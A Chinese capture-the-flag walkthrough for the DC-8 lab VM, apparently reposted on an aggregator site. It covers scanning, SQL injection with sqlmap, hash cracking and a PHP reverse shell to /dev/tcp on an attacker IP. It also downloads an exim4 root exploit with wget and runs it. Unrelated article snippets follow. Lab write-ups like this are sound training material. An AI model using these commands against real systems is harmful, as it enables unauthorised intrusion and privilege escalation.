DC-8靶场

目录

DC-8靶场链接:

首先进行主机发现:

sqlmap得到账号密码:

反弹shell:

exim4提权:

Flag:


DC-8靶场链接:

https://www.five86.com/downloads/DC-8.zip

下载后解压会有一个DC-8.ova文件,直接在vm虚拟机点击左上角打开-->文件--.选中这个.ova文件就能创建靶场,kali和靶机都调整至NAT模式即可开始渗透。

首先进行主机发现:

arp-scan -l

可以得知靶机ip是192.168.183.151

ARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.183.1   00:50:56:c0:00:08       (Unknown)
192.168.183.2   00:50:56:fc:0d:25       (Unknown)
192.168.183.151 00:0c:29:09:4d:2d       (Unknown)
192.168.183.254 00:50:56:fe:ac:e6       (Unknown)
192.168.183.2   00:50:56:fc:0d:25       (Unknown) (DUP: 2)

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts

进行nmap扫描:

nmap -sV -p-  192.168.183.151  

 得知打开两个端口,22端口ssh远程链接,80是HTTP 协议的通信:

Nmap scan report for 192.168.183.151
Host is up (0.00060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp open  http    Apache httpd
MAC Address: 00:0C:29:09:4D:2D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


 Dirsearch扫描:

dirsearch -u 192.168.183.151 -e * -i 200

得到报告,/user/login可以跳转至登录后台界面:

Target: http://192.168.183.151/
[20:47:57] Starting:                                             
[20:48:16] 200 -  769B  - /COPYRIGHT.txt
[20:48:17] 200 -   33KB - /CHANGELOG.txt
[20:48:24] 200 -  868B  - /INSTALL.mysql.txt
[20:48:24] 200 -    1KB - /install.php?profile=default
[20:48:24] 200 -    1KB - /install.php
[20:48:24] 200 -  842B  - /INSTALL.pgsql.txt
[20:48:24] 200 -    6KB - /INSTALL.txt
[20:48:26] 200 -    7KB - /LICENSE.txt
[20:48:27] 200 -    2KB - /MAINTAINERS.txt
[20:48:30] 200 -    2KB - /node
[20:48:35] 200 -    2KB - /README.txt
[20:48:35] 200 -  744B  - /robots.txt
[20:48:37] 200 -  129B  - /sites/all/libraries/README.txt
[20:48:37] 200 -    0B  - /sites/example.sites.php
[20:48:37] 200 -  715B  - /sites/all/modules/README.txt
[20:48:37] 200 -  431B  - /sites/README.txt
[20:48:37] 200 -  545B  - /sites/all/themes/README.txt
[20:48:42] 200 -    3KB - /UPGRADE.txt
[20:48:42] 200 -    2KB - /user
[20:48:42] 200 -    2KB - /user/login/
[20:48:42] 200 -    2KB - /user/
[20:48:43] 200 -  177B  - /views/ajax/autocomplete/user/a
[20:48:44] 200 -    2KB - /web.config
[20:48:46] 200 -   42B  - /xmlrpc.php 

sqlmap得到账号密码:

发现?nid=1,改变数字可以切换到不同页面,这很有可能是一个基于参数的动态页面实现方式。这种实现方式通常会将参数值传递给后端服务器,后端服务器会根据参数值从数据库中查询相应的数据,并生成对应的页面返回给客户端浏览器。因此,可以推测出这个网站后端很可能与数据库相连,以实现动态页面的生成和数据交互。
在1后面加单引号报错,说明这里存在sql注入。

我们用sqlmap爆破,最终payload: 

sqlmap -u "http://192.168.183.151/?nid=1" -D d7db -T users -C login,name,pass --dump

顺利注入得到后台的账号密码:

Database: d7db                                                                                             
Table: users
[3 entries]
+------------+---------+---------------------------------------------------------+
| login      | name    | pass                                                    |
+------------+---------+---------------------------------------------------------+
| 0          | <blank> | <blank>                                                 |
| 1567766626 | admin   | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
| 1703078726 | john    | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF |
+------------+---------+---------------------------------------------------------+

我们可以看到密码被加密,用vim创建文件并复制被加密的密码进去,然后用join破解: 

vim /home/kali/桌面/pass.txt
john /home/kali/桌面/pass.txt

但是admin用户的破解不了,只能破解john的,得到报告:

Using default input encoding: UTF-8
Loaded 1 password hash (Drupal7, $S$ [SHA512 512/512 AVX512BW 8x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
turtle           (?)     
1g 0:00:00:00 DONE 2/3 (2023-12-20 22:34) 1.250g/s 1400p/s 1400c/s 1400C/s swimmer..williams
Use the "--show" option to display all of the cracked passwords reliably
Session completed.          

得到账号john,密码turtle,john无法ssh远程登录,但是可以登录网页。

反弹shell:

在网页里到处点击,找到了可以执行php代码的地方,可以执行Php代码的地方在,联系我们-->WEBFROM-->Form settings的地方,选择php code


在里面添加反弹shell语句并保存:

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.183.138/666 0>&1' ");?>

然后在kali打开监听: 

nc -lvvp 666

回到网页编辑发送邮件,即可弹回shell

找到设置suid权限的文件:

find / -user root -perm -4000 -print 2>/dev/null

该命令的作用是在整个文件系统中搜索所有属主为root且具有setuid位的文件,并将它们的路径输出到标准输出(终端屏幕)上。具体来说,这个命令使用了find命令和一些选项,如下所示:

            find:用于在文件系统中搜索文件和目录。
            /:表示搜索的起始目录,这里是整个文件系统。
            -user root:表示只搜索属主为root的文件。
            -perm -4000:表示只搜索具有setuid位的文件。其中,4000是一个八进制数,表示setuid标志位的值为4。setuid位可以让非root用户以root权限执行该文件,因此具有一定的安全风险。
            -print:表示将搜索到的文件路径输出到标准输出上。
            2>/dev/null:表示将错误输出重定向到空设备上。因为/root目录可能不可访问,所以在搜索时可能会出现一些错误信息,通过这个选项可以避免这些错误信息干扰结果。

shell返回如下数据:

/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/newgrp
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/umount
/bin/mount

又来了,熟悉的exim4。

exim4提权:

先查看exim4版本

        exim4 --version

和上一个靶场一样,这里可以使用searchsploit,其参数有:

   -c, --case     [Term]      区分大小写(默认不区分大小写)-e, --exact    [Term]      对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"].-h, --help                 显示帮助-j, --json     [Term]      以JSON格式显示结果-m, --mirror   [EDB-ID]    把一个exp拷贝到当前工作目录,参数后加目标id-o, --overflow [Term]      Exploit标题被允许溢出其列-p, --path     [EDB-ID]    显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号-t, --title    [Term]      仅仅搜索漏洞标题(默认是标题和文件的路径)-u, --update               检查并安装任何exploitdb软件包更新(deb或git)-w, --www      [Term]      显示Exploit-DB.com的URL而不是本地路径(在线搜索)-x, --examine  [EDB-ID]    使用$ PAGER检查(副本)Exp--colour               搜索结果不高亮显示关键词--id                   显示EDB-ID--nmap     [file.xml]  使用服务版本检查Nmap XML输出中的所有结果(例如:nmap -sV -oX file.xml)使用“-v”(详细)来尝试更多的组合--exclude="term"       从结果中删除值。通过使用“|”分隔多个值例如--exclude=“term1 | term2 | term3”。

使用payload:

        searchsploit exim 4

出来的结果很多,我们使用46996.sh

"Local Privilege E"表示本地特权升级漏洞;"Remote Command Ex"表示远程命令执行漏洞;"Denial of Service"表示拒绝服务漏洞等等

先打开kali的Apache服务:

        systemctl start apache2.service

把脚本复制到其html下

         cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html

John用户那边用 wget命令下载这个脚本

wget http://192.168.183.138/46996.sh

ls -l查看脚本权限,发现没有执行权限,我们需要给脚本加执行权限

    chmod +x 46996.sh

执行脚本:

./46996.sh -m netcat

Flag:

和之前一样,在/root目录下找到flag.txt 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/234886.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

js中BOM对象

BOM操作&#xff1a; 概念&#xff1a;BOM操作的时候&#xff0c;操作的整个浏览器&#xff0c;浏览器被封装成一个对象&#xff0c;这个对象就是window。 window对象就是顶级对象。 window对象的特点为&#xff1a;凡是window对象中的属性或方法&#xff0c;window顶级对象…

bash数组的用法

一、单纯数组 #!/usr/bin/env bash#1、定义一个空数组 my_array()#2、增。使用 运算符将元素添加到数组的末尾 my_array("value1") my_array("value2") my_array("value3")#3、增。还可以使用一行的方式一次性添加多个元素到数组 my_array(&qu…

程序员的20大Git面试问题及答案

文章目录 1.什么是Git&#xff1f;2.Git 工作流程3.在 Git 中提交的命令是什么&#xff1f;4.什么是 Git 中的“裸存储库”&#xff1f;5.Git 是用什么语言编写的&#xff1f;6.在Git中&#xff0c;你如何还原已经 push 并公开的提交&#xff1f;7.git pull 和 git fetch 有什么…

C语言 字符串处理相关函数大汇总之(16~20)

16&#xff0c;strlwr 函数&#xff0c;将字符串中的大写字母转换为小写字母。 它位于 <string.h> 头文件中。 函数原型如下&#xff1a; char *strlwr(char *str); 参数&#xff1a; str&#xff1a;要转换的字符串。 返回值&#xff1a; 返回指向转换后的字符串的…

世微AP8105 低功耗PFM DC-DC变换器 升压芯片多种分装

概述 AP8105系列产品是一种效率、低纹波、工作频率高的PFM升压DC-DC变 换器。AP8105系列产品仅需要四个元器件&#xff0c;就可完成将低输入的电池电压变换升压到所需的工作电压&#xff0c;非常适合于便携式1&#xff5e;4节普通电池应用的场合。 电路采用了高性能、低功耗…

Oracle中的dblink简介

Oracle中的dblink简介 是一种用于在不同数据库之间进行通信和数据传输的工具。它允许用户在一个数据库中访问另一个数据库中的对象&#xff0c;而无需在本地数据库中创建这些对象。 使用dblink&#xff0c;用户可以在一个数据库中执行SQL语句&#xff0c;然后访问另一个数据库中…

猫粮什么品牌好?业内人生分享五个口碑好质量好主食冻干猫粮牌子

随着养猫的人越来越多&#xff0c;铲屎官们对猫咪的饮食也越来越注重。除了猫粮&#xff0c;很多铲屎官还会给猫咪准备小零食。那么&#xff0c;猫咪是不是除了猫粮就没有其他可吃的了呢&#xff1f;答案当然不是。猫咪还有猫冻干、冻干猫粮、猫条等可以选择。每个铲屎官都希望…

Java发起SOAP请求代码参考

目录 Java发起SOAP请求代码参考 代码1.组装参数2.加密参数3.发起连接4.解析返回数据 参考 文章所属专区 超链接 代码 1.组装参数 <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.springframework.org/schema/beans&qu…

petalinux2021.1 手动打包BOOT.BIN

在我们单独调试u-boot或者fsbl或者R5程序时只需要编译生成elf后打包生成BOOT.bin&#xff0c;那么打包生成BOOT.bin的方式除了petalinux-package还可以参照Vitis流程使用bootgen工具&#xff0c;该工具在source了Vitis环境变量后就可以使用了。 使用bootgen主要就是要bif格式的…

补题与周总结:leetcode第 376 场周赛

文章目录 复盘与一周总结2967. 使数组成为等数数组的最小代价&#xff08;中位数贪心 回文数判断&#xff09;2968. 执行操作使频率分数最大&#xff08;中位数贪心 前缀和 滑窗&#xff09; 复盘与一周总结 wa穿了第3题&#xff0c;赛时其实想到了思路&#xff1a;中位数贪心…

软考论文评分标准,究竟是什么?

软考论文的评分标准 软考论文具体评分时&#xff0c;参照每一试题相应的“解答要点”中提出的要求&#xff0c;对照下述5个方面评分&#xff1a; 1.贴合题意&#xff08;占比30%&#xff09; 不论是技术、理论或是实践论文&#xff0c;都需要紧扣主题展开深入探讨。 2.应用…

【Linux】如何在 Linux 终端中复制粘贴

Linux 终端中复制粘贴 一、在终端中使用 键盘快捷键 进行复制粘贴 CtrlShiftC/V二、在终端中复制和粘贴的另一种方法是使用&#xff1a;右键单击上下文菜单 。三、在Linux终端 使用鼠标中键&#xff08;滚轮&#xff09;复制粘贴四、为什么 Linux 终端不使用“通用”的 CtrlC 和…

类和动态内存分配

. 7. 解决赋值的问题 对于由于默认赋值操作符不合适而导致的问题,解决办法是提供赋值操作符(进行深度复制)定义。 其实现与复制构造函数相似,但也有一些差别。 ● 由于目标对象可能引用了以前分配的数据,所以函数应使用delete[]来释放这些数据。 函数应当避免将对象赋给自身;否…

损失函数中正则化中的平方项的作用!!

正则化上的平方项 前言在损失函数中添加正则化项时&#xff0c;通常会使用平方项作为正则化项&#xff0c;原因主要有以下几点&#xff1a; 前言 在损失函数中添加正则化项的原因主要是为了防止过拟合。正则化是一种常用的防止过拟合的技术&#xff0c;它可以对模型的复杂度进…

企业网站需不需要用到在线客服系统?

现如今&#xff0c;企业网站已成为企业展示形象、宣传产品和服务的重要窗口。在与客户互动的过程中&#xff0c;在线客服系统发挥着越来越重要的作用。那么&#xff0c;企业网站是否需要用到在线客服系统呢? 一、在线客服系统的优势 1.提高客户满意度 在线客服系统能够实现与客…

饥荒Mod 开发(十八):Mod 添加配置选项

饥荒Mod 开发(十七)&#xff1a;手动保存和加载&#xff0c;无限重生 我们可能需要给Mod 增加一些配置&#xff0c;比如是否开启全图&#xff0c;是否禁用自动保存等等&#xff0c;代码中就可以根据这些配置来做不同的逻辑。 添加配置 需要在modinfo.lua 中添加配置代码&…

VUE实现购物商城网站前端源码

文章目录 1.设计来源1.1 登录注册页面1.2 主界面1.3 列表界面1.4 详细界面1.5 购物车界面 2.源码2.1源码目录结构2.2源码下载 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_43151418/article/details/135054910 VUE实现购物商城网站前端源码&…

0155 - Java 数组

1 数组介绍 数组可以存放多个同一类型的数据。数组也是一种数据类型&#xff0c;是引用类型。 即&#xff1a;数(数据)组(一组)就是一组数据 2 数组的使用 2.1 使用方式一 2.2 使用方式二 3 数组使用注意事项和细节 数组是多个相同类型数据的组合&#xff0c;实现对这些数据…

加速Scrum敏捷转型的必选培训机构

针对敏捷转型培训&#xff0c;有一些知名的培训公司提供专业的敏捷培训课程和认证。以下是几家备受认可的敏捷转型培训公司&#xff1a; Leangoo领歌&#xff1a; Leangoo领歌是一款永久免费的专业的敏捷开发管理工具&#xff0c;提供端到端敏捷研发管理解决方案&#xff0c;包…

带你深入解析 Compose 的 Modifier 原理 -- Modifier、CombinedModifier

Modifier 的含义 实际开发过程中&#xff0c;随处可见各种 Modifier&#xff0c;比如&#xff1a; Modifier.size() // 尺寸Modifier.width() // 宽度Modifier.height() // 高度Modifier.padding() // 间距Modifier.background() // 背景Modifier.…